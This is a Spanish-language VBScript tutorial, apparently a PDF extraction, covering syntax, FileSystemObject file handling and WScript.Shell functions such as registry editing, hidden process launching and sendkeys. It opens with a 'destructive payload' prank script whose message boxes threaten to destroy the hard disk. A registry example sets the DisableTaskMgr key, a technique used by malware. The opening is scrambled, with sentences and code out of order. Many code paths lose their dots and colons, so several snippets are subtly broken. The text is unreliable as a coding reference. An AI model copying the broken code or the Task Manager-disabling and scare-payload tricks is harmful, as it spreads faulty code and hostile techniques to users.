Payload Destructivo.Smeagol. "A:\Desktop..A / ***** SoFtWaRe" MsgBox "Software dedicado a mis amigos: " & vbCrLf & vbCrLf & "Osiris.

“ como en javascript) * Los comentarios. cadena de texto (no creo necesite más explicación que esta). Randomize Num = Rnd If Num = 0 Then MsgBox "Dia de suerte. Objeto. No(not) 4.com 134 .. permiten una mayor interacción con el sistema operativo. O(or). Single. es un derivado de Visual Basic. que se ejecutan por medio de un intérprete en el sistema.byethost14. Distinto(<>). Multiplicación(*). se mostrarán algunos ejemplos. Resta(-). Menos o igual(<=). y guardarlo con extensión *. Booleano. "Hendrix" End If ****************************************************************************** VBScript. División entero(\). * msgBox. ya que estos. División decimal(/). y los que más vamos a utilizar. Estructuras de control: 1. Entero largo. 1.Sirve para anidar dos o más. Operadores: Tendremos varios tipos de operadores a nuestra disposición. y haciendo uso de nuestro próximo tema (estructuras de control). Fecha. Hoy es dia de destruccion". para así realizar varias evaluaciones. Aritméticos: Suma(+). es para mostrar un mensaje en la pantalla. Resto división(mod) 2. van precedidos de una “ ‘ “ (comilla simple).''=> es poneren num un numero aleatorio entre 1 y 0. Comparación: Igual(=). no se debe de hacer más que pasar a la siguiente (no es necesario terminar con por ejemplo “ . númerosentero positivo/negativo. vbExclamation. Case (condicional). "Hendrix" End If If Num = 1 Then MsgBox "Mala suerte tio.. vbCritical. los operadores a utilizar en vbs. Entero. Menor(<). dale gracias". Double.Utiliza para evaluar 2 o más posibles resultados Dim valor Valor = 8 If valor < 10 then Msgbox "El valor es MENOR a diez " Else Msgbox "El valor es MAYOR a diez " End if 2.vbs. por lo que después. IF (condicional). Se puede decir que los vbs son una mejora con respecto a los bat. y decir además que este lenguaje. Si sale 0 se salva tu HD. Dim numero numero = 8 Select case numero case 6 msgbox "El valor es seis " case 7 msgbox "El valor es siete " case 8 msgbox "El valor es ocho " End select By KarlosVid(ÊÇ) www. Cadena. Xor. sin necesidad de realizar ninguna compilación (aunque existe la posibilidad). Mayor(>). Dios a querido que no destruya tu PC. Mayor o igual(>=) 3. Lógicos: Y(and). con lo que bastará con crear el código en un simple bloc de notas (o similar). Potencia(^). fecha/hora. Tipos de dato: Existen varios tipos de datos que pueden manejarse en vbs.Son “simples” scripts. De cadena: Concatenación(&) Estos han sido a grandes rasgos. son . si sale 1 se destruye tu HD . Caracteristicas: * No importan las mayúsculas o minúsculas * Para indicar un final de línea.idat. Todos estos representan valores verdadero/falso.. Byte.

dentro de una única variable. haremos uso de una u otra (mezc landolas en nuestros scripts). que permite almacenar más de un único valor. FOR (bucle).idat. DO (bucle). WHILE (bucle). por lo que dependiendo de lo que busquemos hacer."Carlos") For each n in nombres Msgbox n next 5. Un array o matriz. Dim i For i=1 to 5 step 1 Msgbox "El valor de i es: " & i Next 4. Los objetos básicos de los que se hace uso son dos: 1.. manejo accesos directos. “mientras”. que no son más que librerías especializadas y a nuestra diposición... Forma1: Dim a = 1 Do until a=10 Msgbox “Esto es un mensaje” Loop Forma2: Dim a = 1 Do while a<>10 Msgbox “Esto es un mensaje” Loop Manejo de objetos Toda interacción de vbs con el sistema se basa en el manejo de objectos (ActiveX).Recorre todos los elementos de una colección o vector. Forma1: (Simple) Dim nombres(2) nombres(0)= "Martín" nombres(1)= "Pablo" nombres(2)= "Carlos" Msgbox nombres(1) Forma1: (For Each) Dim nombres Dim n nombres = array("Martín".com 135 . Dim numero Numero = 1 While numero <= 10 Msgbox numero numero = numero + 1 Wend 6. Para acceder a cada uno de estos valores.Es utilizado cuando queremos que una determinada acción se repita mientras una determinada condición de cumpla. ejecución de aplicaciones. Shell: acceso a información de sistema. Antes de continuar debo de explicar que al trabajar con los objetos."Pablo".El bucle do tiene varias opciones. los mismos se deben de declarar de la siguiente manera: Set variable = createobject(objecto) Ejemplo: Set objfso = createobject(“scripting filssystemobject”) By KarlosVid(ÊÇ) www. 2.byethost14. trabajo con el registro. o “hasta que” ocurra algo. es una estructura de datos en forma de variable. FOR EACH(bucle). archivos y carpetas. pero básicamente hará algo.Utilizado cuando queremos repetir una determinada acción un cierto número de veces.. será necesario hacer uso de índices.3. FSO (FileSystemObject): manejo de unidades.

copyfolder “C \Carpeta”.idat. “D \destino txt”.createfolder(“C \carpeta”) Borrar archivos Objfso. true Mover carpetas Objfso.movefolder origen.com 136 . si abrimos un archivo en modo de léctura. debemos de tener en cuenta. nunca podremos escribir dentro.movefolder “C \Carpeta”. destino Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso. si un archivo no existe. “D \Destino” Borrar carpetas Objfso.deletefile “C \archivo txt” Copiar archivos Objfso.copyfile origen. Obviamente. true Leer y escribir en archivos Para el manejo de archivos de texto. Listar subcarpetas. sobreescribir Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso. mover y copiar archivos. y a su vez.byethost14. Obtener propiedades de discos y particiones. sobreescribir Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso.copyfolder origen. By KarlosVid(ÊÇ) www. la existencia o no del archivo. pasamos directamente al análisis del objeto FSO. no podrémos acceder a él.deletefolder carpeta Ejemplo: Objfso. destino Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso. borrar.deletefolder “C \Carpeta” Copiar carpetas Objfso. Listar discos y particiones. mover y copiar carpetas.movefile “C \archivo txt”. destino. Obtener propiedades de archivos y carpetas. destino. Mover archivos Objfso. Obtener determinadas rutas de sistema. Crear.copyfile “C \archivo txt”.createfolder(destino carpeta) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso.Ahora sí. Obtener y modificar atributos de archivos y carpetas.deletefile archivo Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Objfso. y el modo en el que accedemos a él. FSO (File System Object) Las distintas funciones que se pueden realizar a través de este objeto son: Borrar.movefile origen. “D \Carpeta” Crear carpeta Set variable = objfso. “D \Destino”. Leer y escribir en archivos de texto (Crear).

byethost14.opentextfile(“C \archivo txt”. dicho archivo será creado en el proceso.Crear archivos de texto y escribir en ellos Set variable = objfso. que escribe una línea. utilizamos write.Modo LECTURA 2. los modos en los que se puede abrir un archivo son: 1. leemos una línea. que quiere decir que en caso de que no exista el archivo se cree. Con readall en cambio. el modo 8 que se utiliza para appending o escritura al final de archivo. hemos cerrado el archivo.opentextfile(ruta. el resultado. el modo 8 que se utiliza para appending o escritura al final de archivo. con la cual saltaremos la lectura de una línea. y agrega un retorno de carro para que si volvemos a escribir. para escribir dentro de él. Para tener en cuenta. para que a la próxima ejecución de esta función. Existe además una función llamada skipline.writeblanklines(2) ‘escribimos 2 líneas en blanco archivotexto writeline “ quí más texto” ‘escribimos otra línea de texto archivotexto. hemos indicado la ruta.Modo APPENDING (escribe al final) Como se puede ver. es decir que de este modo. sea la línea siguiente la que sea leída. que quiere decir que en caso de que no exista el archivo se cree. si en su lugar. Por último. hemos creado el archivo y lo hemos asignado a una variable.8. es decir que de este modo.createtextfile(ruta. no solo abrimos el archivo. dicho archivo será creado en el proceso.true) ‘creamos el archivo archivotexto writeline “Este es el texto que estoy escribiendo” ‘creamos el archivo archivotexto.close ‘cerramos el archivo Notese que al comenzar. y readall. hemos indicado la ruta. Ejemplo: By KarlosVid(ÊÇ) www. para lo cual utilizaremos readline.close ‘cerramos el archivo Como se puede ver.Modo ESCRITURA (escribe al principio) 8. en este caso. y true. modo. por lo que todas las oraciones iran quedando una detrás de la otra. en cambio. con readline iremos leyendo una a una las líneas del archivo (cada vez que pongamos readline leeremos solo una). leeremos el total de archivo. también existe la posibilidad de leer desde ellos. al abrir el archivo. y true. lo hagamos en una nueva línea. hemos utilizado writeline. no solo abrimos el archivo. creación) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso. sino que de no existir.true) ‘abrimos el archivo archivotexto writeline “Este es el texto que estoy escribiendo” ‘escribimos una línea archivotexto. Leer desde archivos de texto Así como abrimos archivos y podemos escribir en ellos. y el puntero se situa al final de la línea. al abrir el archivo. sobreescribir) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso createtextfile(“C \archivo txt”.com 137 . luego hemos utilizado el identificador de archivo (variable). Abrir archivos de texto y escribir en ellos Set variable = objfso.idat. con este. Como se puede imaginar. será que no habrá salto de línea. sino que de no existir.

Como ejemplo: Un archivo que tenga atributos de. se puede obtener. y ya con el archivo en la variable. de sistema. la primera archivotexto.attributes = sumaatributos Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf archivo.opentextfile(“C \archivo txt”. lo que hacemos es obtener el control del el archivo tutorial.attributes Ejemplo: Set objfso = createobject(“scripting filesystemobject”) ‘mensaje con los attributos del archivo Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf Msgbox archivo. los atribuos de archivos y carpetas (es prácticamente igual para ambas cosas) Obtener atributos Set variable = objfso.readline ‘leemos una línea.getfile(ruta) variable.attributes En este ejemplo vemos que luego de declarar el objeto. attributes devolverá un valor único que será la sumatoria de cada uno de los valores para cada atributo del archivo. Las constantes que hacen referencia a los atributos de archivo son: Como comentaba antes.byethost14. y de archivo.readline ‘leemos una línea. la tercera archivotexto. oculto.com 138 . que no será más que un número que englobará todas las constantes de los atributos.getfile(ruta) variable.close ‘cerramos el archivo Atributos de archivos y carpetas A continuación explicaré el método mediante el cual. para lo cual utilizamos getfile.1) ‘abrimos el archivo msgbox archivotexto.attributes = 34 ‘attributo dearchivo y oculto By KarlosVid(ÊÇ) www. podemos utilizarlo directamente para mostrar sus atributos. y asignamos el archivo a la variable archivo. tendrá un valor de 1+2+4+32= 39 Cambiar atributos Set variable = objfso. solo lectura.skipline ‘saltamos una línea msgbox archivotexto.pdf. o bien cambiar.idat. Luego.Set objfso = createobject(“scripting filesystemobject”) Set archivotexto = objfso.

Propiedades de archivos y carpetas Así como podemos obtener y modificar los atributos de los archivos y carpetas. By KarlosVid(ÊÇ) www.subfolders Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso getfolder(“C \Carpeta”) ‘obtenemos el control sobre la carpeta Set subcarpetas = micarpeta. acceder a la colección de subcarpetas de una carpeta “X”. datelastmodified. podemos acceder a determinadas propiedades de los mismos. shortname Tamaño.idat. Listar subcarpetas Con listar subcarpetas. lo cual se hará de la siguiente forma: Set variable = objfso. en un principio. para luego trabajar con cada una de ellas por medio de un for que recorre toda la colección. type Carpeta contenedora.propiedad Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf Msgbox archivo. sino que. se haría con carpetas en lugar de archivos. para lo que solamente tendríamos que cambiar getfile. para trabajar con cada una de ellas de manera independiente. nos referimos a. name Nombre corto. el acceder a las subcarpetas no es totalmente directo.com 139 . Cuando hablamos de colección. path Ruta corta. obtenemos la colección (array) de carpetas. shortpath Fecha de creación/modificación/último acceso.getfile(ruta) Msgbox variable.getfolder(ruta) Set subvariable = variable. simplemente sería cuestión de cambiar “size” por alguna de las otras propiedades a las que tenemos acceso (les recomiendo probar con cada una para ver los resultados). en el que están todos los elementos contenidos en un determinado “listado” Set variable = objfso. hacemos referencia a un array. como se ve en este caso. entre ellas: • • • • • • • • Nombre. datelastaccessed Tipo de archivo. y de igual manera. Size Ruta completa. datecreated. parentfolder Estas son las principales propiedades a las que podemos acceder.subfolders ‘obtenemos la colección de subcarpetas For each s in subcarpetas ‘por cada carpeta(s) en la colección(subcarpetas) Msgbox s. por getfolder.byethost14. En el ejemplo anterior he puesto como valor 34 que representa atributos de archivo y oculto.name ‘mensaje con el nombre Next ‘pasamos a la siguiente subcarpeta Bueno.El cambiar atributos consiste simplemente en asignar un valor a attributes.size ‘tamaño del archivo en bytes Para obtener otras propiedades.

driveletter ‘mensaje con la letra de disco Next ‘pasamos al siguiente disco Como ya se había dicho.idat. y que como ya se habrán dado cuenta. drivetype By KarlosVid(ÊÇ) www. sharename Tipo de disco. driveletter Nombre del disco. solo he incluído una propiedad que no se había visto anteriormente. y no las que se encuentran en los niveles consiguientes. También aclarar. se debe de terner en cuenta además. serialnumber Nombre compartido. solamente contiene. cuales son las propiedades de disco a las que tendremos acceso.getfolder(ruta) Set discos = variable. Listar discos/particiones Al igual que para listar subcarpetas. las carpetas del primer nivel. el método de listar los discos y particiones.byethost14. es el mismo que para obtener las subcarpetas de una carpeta. para eso. a traves del objecto FSO es posible acceder a la colección de discos. pasaremos justamente.drives Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set discos = objfso. filesystem Carpeta principal. isready Ruta. rootfolder Número de serie. así como a sus propiedades. Propiedades de disco Como hemos visto en el anterior punto.Al listar subcarpetas. por lo que no debería de presentar ningún problema el hacerlo. por lo que en realidad. Set variable = objfso. que en el anterior ejemplo. availablespace • • • • • • • • • Espacio libre. totalsize Disponibilidad. CDFS). path Sistema de ficheros (NTFS. las siguientes: • • Letra. hace referencia a la letra que tiene asignado el disco o partición en el sitema. deberíamos de implementar otro for que haga referencia a estas.drives ‘obtenemos la colección de discos For each d in discos ‘por cada disco(d) en la colección(discos) Msgbox d. para que quede más claro: C:\carpeta C:\carpeta\nivel1 C:\carpeta\nivel1\nivel2 Si listamos la colección de subcarpetas en la carpeta “C:\carpeta”. para listar discos y particiones lo haremos a traves de una colección. volumename Espacio disponible.com 140 . siendo estas propiedades. freespace Espacio total. y esta es la de driveletter. a identificar. será muy similar al punto anterior. por lo que una vez mencionado esto. que la colección. pero no las del nivel 2. obtendremos todas las del nivel 1. FAT.

así como también ocurre. y es justamente. y luego mostramos su ruta. aquellas carpetas montadas con el comando SUBST de ms-dos. la shell.shell) A través de este objeto podemos entre otras cosas: • • • • • • • • Mostrar mensajes temporizados Leer. ya que es sería igual al que he puesto anteriormente. en este caso.getspecialfolder(0) ‘obtenemos el control sobre la carpeta Msgbox micarpeta. ej.byethost14.com 141 .path ‘mensaje con la ruta de la carpeta Como se ve en ejemplo. pero no menos importante. al nombrar las carpetas.getspecialfolder(constante) Ejemplo: Set objfso = createobject(“scripting filesystemobject”) Set micarpeta = objfso. las constantes son las que he indicado en un entre parentesis en un principio. con esto hemos terminado con el objeto FSO. Shell (wscript. permite obtener la ruta de tres de las carpetas más importantes del sistema. borrar. que la disquetera (Unidad A). es reconocida como disco extraíble. para poder accesar a las carpetas. la última que he enumerado. debo de comentar que el objecto FSO. pasemos entonces al segundo y principal objeto. como lo son: • • • Windows (0) System32 (1) Temp (2) Para acceder a ellas. Por otra parte. drivetype El tipo de disco de un disco (valga la redundancia). haremos uso de la función getspecialfolder.Ejemplo: no pondré en este caso. Rutas de carpetas Por último. solamente profundizaré en una de las propiedades de los discos (creo que las otras son fácilmente identificables). y escribir en el registro de windows Ejecutar aplicaciones (dos métodos) Obtener el foco de una ventana Enviar pulsaciones de teclado Acceder multiples carpetas de sistema Obtener variables del sistema Crear accesos directos By KarlosVid(ÊÇ) www. Bueno. nos hacemos con el control de la carpeta de windows. puede estar entre los siguientes: También he de acotar. Set variable = objfso. con las unidades virtuales.idat.

por lo que en caso de utilizar un mensaje de este tipo. la ejecución de nuestro script. Para que quede más claro.3. continuará la ejecución del script.shell. luego de lo cual. Pero en lugar de utilizar este tipo de mensaje.64) El resultado. el 64 corresponde a la suma del botón de ok (cero) y el icono de información (64). Los mensajes generados con dicha función. podemos hacer uso de una ventana popup. Si quisieramos mostrar un mensaje de Si. tsegundos. creo que una imagen dice más que mil palabras. siendo los mismos: En el caso de mi mensaje. se parará hasta bien este no salga de pantalla. lo referente al mensaje. By KarlosVid(ÊÇ) www. No y Cancelar. y es que para los “botones” he puesto el valor 64. se declara con Wscript. con un icono de pregunta. pero no deja de ser útil en algunas ocasiones. el cual al cabo de 3 segundos. sobre todo. hasta bien el usuario. la cual desaparecerá sola al cabo del tiempo que hayamos especificado. Para empezar. deberíamos de poner como valor el número 35 (3+32). Modo en el que se emplea esta ventana: Variableventana = variable.popup(texto. a lo largo de todos los ejemplo que he puesto. si no queremos que un proceso se bloquee. hace referencia a la sumatoria de los botones e iconos que aparecen en la ventana de mensaje. título. no da click en el/los botones que tiene el cuadro de mensaje.byethost14.com 142 .”Mensaje Popup”. no salen de pantalla.Mostrar mensajes temporizados Esta es la menos importante de todas las funciones de este objeto. se puede apreciar que el objeto shell. desaparecera y dará paso al resto de nuestro script. este valor. y bueno. hemos mostrado un mensaje en pantalla. botones) Ejemplo: Set objshell = createobject(“Wscript shell”) rventana = objshell popup(“Este es un mensaje de prueba”.idat. he ido mostrando determinados mensajes a traves de la función de msgbox (opción básica). solo por intentar mostrar un mensaje. Notese algo.

byethost14. y aún así. en este caso.idat. el resultado obtenido será 6. y son de fácil comprensión. pero que contiene la ruta de la carpeta de “mis imágenes”. el borrar cadenas no tiene nada de especial. Leer valores variable. ya que no dependen de ningún objeto. By KarlosVid(ÊÇ) www. Borrar valores variable. esto puede servirnos de mucho si queremos darle un poco de interactividad a nuestros scripts y tomar diferentes caminos en virtud de las respuestas de los usuarios.regread("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures") ‘va todo en una misma línea. lo cual puede ser utilizado junto a las funciones de msgbox (para esta también valen los botones e iconos) e inputbox. sino que simplemente debemos de llamar a la función regdelete para deshacernos de la cadena en cuestión.regread(llave de registro) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell. muestro el valor por medio de un msgbox. he optado por una llave un tanto larga. aunque a pesar de la mención las veremos en detalle. la implementación de esta función.com 143 . encargada de leer las llaves del registro.regdelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures") Al igual que para leer. No y Cancelar. la variable rventana guardaría el valor de cual de esos botones fue presionado por el usuario. para el caso de un mensaje con los botones de Si. se guarda en una variable de nombre rventana.Por otro lado.regdelete(llave de registro) Ejemplo: Set objshell = createobject(“wscript shell”) objshell. no presenta ninguna dificultad. es una de las funciones más atractivas de este objeto. siendo estas las posibilidades: Es decir. pero como en todos los casos. borrar y modificar el registro de windows Sin lugar a dudas. es posible guardar este valor en una variable para luego trabajar con ella. Leer. En dicha variable. se guarda el valor de la respuesta dada al mensaje. es decir. y su implementación no implica ninguna dificultad. a través del objeto shell llamamos a la función regread. al igual que en otros ejemplos. que en caso de que la persona presione Si. también vemos en el ejemplo como el popup. la llave es muy larga Sencillo de entender.

loscuales además. el REG_MULTI_SZ. el valor que le daremos. la llave a modificar/crear claro esta. se utilicen las siguientes abreviaciones (lo he hecho en mi ejemplo): Ejecutar aplicaciones Como he comentado antes. a traves de este objeto existen dos métodos diferentes de ejecutar aplicaciones. y establecemos. el registro de windows soporta ciertos tipos de datos en las diferentes claves de las que hace uso. y el tipo de datos que estamos ingresando.com 144 . a saber: Existe un quinto tipo de datos. en mi ejemplo ha sido 1. true En este caso ejecutamos el bloc de notas. variable. Los datos que debemos de pasarle a esta función son. espera Ejemplo: Set objshell = createobject(“wscript shell”) Objshell run “notepad”. estadoventana. Método Run Este es el más simple y usado de los dos métodos. tendrán diferentes opciones y resultados. Como muchos sabrán. También he de recomendar que en caso de trabajar con el registro se ha de tener mucho cuidado.regwrite(llave de registro. y que quererse dejar el code más legible.run rutaprograma. estaríamos modificando la llave del registro que deshabilita el administrador de tareas (taskmgr).regwrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr".1. en modo normal.idat. que el script se pause (true) hasta que se cierre la aplicación (notepad). y considerar también. la llave es muy larga En este ejemplo. pero no es soportado por esta función. By KarlosVid(ÊÇ) www. regwrite creará una llave en caso de no existir. que tal como he puesto en el título. 1. variable."REG_DWOR D") ‘va todo en una misma línea. Tener en cuenta que regwrite puede tener problemas con cadenas demaciado largas. y la modificará en caso de que ya esté presente.Escribir/modificar el registro Algo que de seguro le interesará a varios.byethost14. tipo de dato) Ejemplo: Set objshell = createobject(“wscript shell”) objshell. valor.

y luego mostramos dos mensajes. uno con el status (debería de ser 0). pasando por oculto. junto a la explicación de status y processid. La función status nos servirá en definitiva. maximizado y minimizado. Stderr Estas serían las funciones que diferencian el exec del run. Veamos esto. que ejecuta una aplicación en modo oculto. el método en el que se ejecuta la aplicación es practicamente igual al anterior. por lo que. todas estas se aplican sobre la aplicación/comando que estamos ejcutando. Tener en cuenta además.byethost14. y la espera del programa. para ver (en realidad no se verá nada) como se ejecuta el notepad sin mostrar ninguna ventana (si se verá el proceso en el administrador de tareas). pero pasaré de explicar cada uno de ellos ya que resulta mejor opción probar y ver el resultado.com 145 . entre otros.exec(rutaprograma) Ejemplo: Set objshell = createobject(“wscript shell”) Objshell Exec(“notepad”) Como vemos. Con respecto al processid. Probar por ejemplo sustituyendo el número 1 por vbhide en el ejemplo que he dejado. para hacer uso de esta funcionalidad. y realizar una determinada acción en función de si permanece abierto. Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = Objshell Exec(“notepad”) Msgbox bloc. indentifica que la aplicación fue cerrada y su proceso ya no se encuentra presente.idat. así que con poner simplemente objshell run “notepad” hubiese alcanzado. asignando su proceso a la variable “bloc”. es el estado 0 (cero) o vbhide. con la excepción de que no nos permite seleccionar estado de la ventana. o bien. que el estado de la ventana.processid En este ejemplo.status = 0 By KarlosVid(ÊÇ) www. Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = objshell Exec(“notepad”) Do while bloc. ejecutamos el bloc de notas. Stdout. Método Exec Este método es muy similar al anterior. van del 0 al 10. variable. • • • • Status ProcessID Terminate Stdin. para poder monitorear nuestro proceso. y asignar la misma a una variable para luego trabajar a traves de esta. son totalmente opcionales . y 1 (uno). y otro con el número de proceso.status Msgbox bloc. El status identifica el estado de la aplicación ejecutada. pero ahora veamos que es lo que o hace diferente del otro método. que lo que podría ser la explicación. 0 (cero) representa una aplicación en ejecución. Lo que si cabe destacar. no es más que el identificador de proceso (PID). solamente que nos permite un mayor control sobre la aplicación que estamos corriendo. creo que salta a la vista la función del mismo. es necesario ejecutar la aplicación. sin mostrar ningún tipo de ventana.Los estados en los que se puede abrir la ventana. lo han cerrado. solamente hemos sutituído run por exec y no hemos pasado ningún parámetro a la función.

Pasando ahora a las últimas funciones de exec. pero carácter a carácter. haremos lo mismo que antes. Stdout nos muestra la salida de un los comandos ejecutados a traves de exec. También.stdout. por lo que por su nombre era fácil predecirlo Ejemplo: Set objshell = createobject(“wscript shell”) Set bloc = objshell Exec(“notepad”) Wscript. y para que se entienda mejor. y cerramos el bloc de notas. debo de aclarar que estas funciones pueden ser utiles a la hora de trabajar en línea de comandos. permite terminar el proceso que habíamos iniciado.idat. y luego por medio de stdout y su readall hemos leído el contenido completo de la salida del comando y lo hemos mostrado en un msgbox. Set objshell = createobject(“wscript shell”) By KarlosVid(ÊÇ) www. donde x es el número de caracteres que queremos leer. hemos ejecutado un ping a google a traves del cmd. en lugar de readall podemos utilizar read(x). pasare directamente a un ejemplo.byethost14. realizamos una espera de 5 segundos.sleep 5000 ‘Pausa de 5000 milésimas. pero dado que en línea de comandos hay mejores maneras (a mi criterio) de hacerlo. stdin.sleep 200 ‘sirve para hacer una pausa de x milésimas de segundo loop msgbox “Se ha cerrado el bloc de notas” Pasemos entonces a terminate Esta función.Wscript.com 146 . o 5 segundos bloc. obviaré la explicación de dos de estas funciones.readall El resultado: En este ejemplo. y solo le daré importancia a stdout que si puede facilitarnos la tarea en la ejecución de comandos de ms-dos. fácil. stdout. leeyendo el texto completo. stderr. pero esta vez haciendo uso de read. En un ejemplo un poco mas “elaborado”. Set objshell = createobject(“wscript shell”) Set ping = objshell.terminate Abrimos el bloc de notas.exec(“cmd /c ping www google com”) Msgbox ping.

ejecutamos el ping a google. es ahí donde entonces. entonces busca aquel que termina como el que queremos. Las consideraciones que debemos de tener en cuenta al utilizar esta función. es un poco más dificil de explicar. es igual a la propia variable y un carácter (concatenamos). un análisis condicional. el título “Sin título – Bloc de notas”. con los resultados que ello puede acarrear. por lo que si no es lo que deseabamos. Variable. si no se alcanza el final de la salida (stdout. busca aquella ventana que coincida en el principio del título. También. como si estuviesemos escribiendo.sendkeys teclas Ejemplo: Set objshell = createobject(“wscript shell”) Objshell sendkeys “Estas son las teclas” Este es un ejemplo muy simple .com 147 . elegira una cualquiera al azar.stdout.byethost14. obtendríamos el foco de una ventana con por ejemplo. por lo que quien quiera entenderlo deberá prestar atención y visualizarlo detenidamente. enviará las pulsaciones a la ventana activa. que como se habrán dado cuenta. pero espero se entienda la idea de este ejemplo. Obtener el foco de una ventana Variable. e ira guardando en la variable (respuesta) letra por letra hasta formar el mensaje completo.stdout.read(1) else exit do end if loop msgbox respuesta Este ejemplo. ni tampoco encuentra título que comience como el nuestro. son las referentes al orden en el que realiza las comparaciones en busca de nuestra ventana. y los resultados pueden no “gustarnos” By KarlosVid(ÊÇ) www.atendofstream then respuesta = resultado & ping. se sale del bucle do (exit do). y luego nos metemos en un bucle infinito (do). enviará las pulsaciones de las teclas a la ventana activa.idat. cuando se llegue al final. ya que como he dicho antes. así que hay que tener cuidado con el uso que se da. ya que una vez ejecutada. y el else dice que. Si no encuentra ni el título exacto.que además no recomiendo probar. es el título que tiene un nuevo bloc de notas. así como también lo es entender. pasamos al else. el if se ejecutará una y otra vez. es la función sendkeys que nos permitirá enviar pulsaciones de teclado. y se mostrara el msgbox con la “respuesta” Un poco más complicado. dentro de este. la variable respuesta. Primero busca la ventana que tiene el título exacto que hemos establecido. En resumen.appactivate tituloventana Ejemplo: Set objshell = createobject(“wscript shell”) Objshell appactivate “Sin título” Con esto. y le dará el foco. se saldrá del bucle. Ese analisis se continuará haciendo hasta que se alcance el final de la lectura. Si no encuentra el título exacto.atendofstream). Enviar pulsaciones del teclado Otra de las funciones llamativas de este objeto.Set ping = objshell exec(“cmd /c ping www google com”) do if not ping. en el caso de haber varias ventanas con el mismo nombre. Por lo que en definitiva. podemos terminar presionando un montón de teclas en un programa x.

podríamos poner simplemente el nombre de la ventana del bloc de notas en lugar de processid. Igualmente habrán visto en medio del envío de teclas que también esta presente una tecla especial.idat. no siendo posible utilizar. ya que es simplemente el mensaje/pulsación que queremos envíar. Objshell sendkeys “+ ” Objshell sendkeys “^V” Objshell sendkeys “% T B ” By KarlosVid(ÊÇ) www.Es por eso que a continuación muestro un ejemplo más claro de esta función. he puesto como “título” el processid. CTRL y ALT. haciendo uso además. los argumentos con +. es por eso que dejo a continuación. pero igualmente creo no quedarán dudas de por que el uso de esta. Para empezar he optado por ejecutar el bloc de notas a traves de la función exec. podría optarse por run. a la hora de obtener el foco de la ventana con appactivate.byethost14. Para utilizar estas tres letras. Set objshell = createobject(“wscript shell”) Set bloc = objshell exec(“notepad”) ‘ejecutamos el bloc de notas Wscript. de funciones que hemos visto anteriormente.sleep 2000 ‘espera de dos segundos Objshell. para de este modo asegurarnos de que el foco se ponga en la ventana que corresonde y no en otra con similar nombre. Al igual que antes. un ENTER Wscript. la tabla con el listado de argumentos para estas teclas: Para el caso de las teclas SHIFT. ya que vbs nos permite hacer uso conjunto de estas dos funciones. no creo que merezca explicación alguna. el {ENTER}. o lo que es igual. en este ejemplo he hecho uso de algunas otras fuciones vistas anteriormente. pero este ejemplo me servía para mostrarles el uso que puede hacerse del processid.sleep 200 ‘espera de mílesimas Objshell sendkeys “Tutorial vbs” ‘enviamos un mensaje con sendkeys Objshell sendkeys “ ENTER ” ‘luego del mensaje anterior.com 148 . la tecla PRTSC. Como vemos. Luego.sleep 2000 ‘nueva espera de dos segundos Objshell sendkeys “Probando la funcion sendkeys” ‘enviamos una segunda línea de mensaje Como había dicho.processid ‘ponemos el foco en la ventana del bloc Wscript. la tecla de PRINT (la que se utiliza para capturar pantalla). ^ y % respectivamente. con respecto al envío de las teclas.appactivate bloc.

habrán visto entonces. haremos uso de la función specialfolders. USERNAME. algunas carpetas parecen estar repetidas. como ser. y nótese también que si bien. USERPROFILE. Obtener variables de sistema Bueno. que a pesar de la cantidad de carpetas de las que se puede obtener la ruta. Este función. como ser “ rchivos de programa”.idat. con la ruta del escritorio. Variable. y como se ha adelantado en el título. . “Enviar a” y “Favoritos” entre otras Para eso. algo como “C \Documents and Settings\Novlucker\Escritorio”.com 149 . algunos identificadores hacen referencia a las carpetas de todos los usuarios. haremos uso de la función expandenvironmentstrings. para lo que. la carpeta de usuario.expandenvironmentstrings(%variablesistema%) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell expandenvironmentstrings(“%Programfiles%”) By KarlosVid(ÊÇ) www. Variable. etc.Carpetas “especiales” Con carpetas especiales me refiero a aquellas carpetas como “Inicio”. de igual modo y como he mencionado antes. podemos acceder a las rutas de otras carpetas. para ver las rutas de otras de las carpetas disponibles. Con esta tabla.specialfolders(carpeta) Ejemplo: Set objshell = createobject(“wscript shell”) Msgbox objshell specialfolders(“Desktop”) Con lo que obtendríamos un msgbox. y todas aquellas que aparecen a través del comando SET de msdos. contamos con la siguiente tabla. y otras a la del usuario activo. COMPUTERNAME. es por eso que entonces. hay algunas muy interesantes que no aparecen con el specialfolders. solo bastaría cambiar “desktop” en nuestro ejemplo. permite acceder a todas las variables del sistema.byethost14.

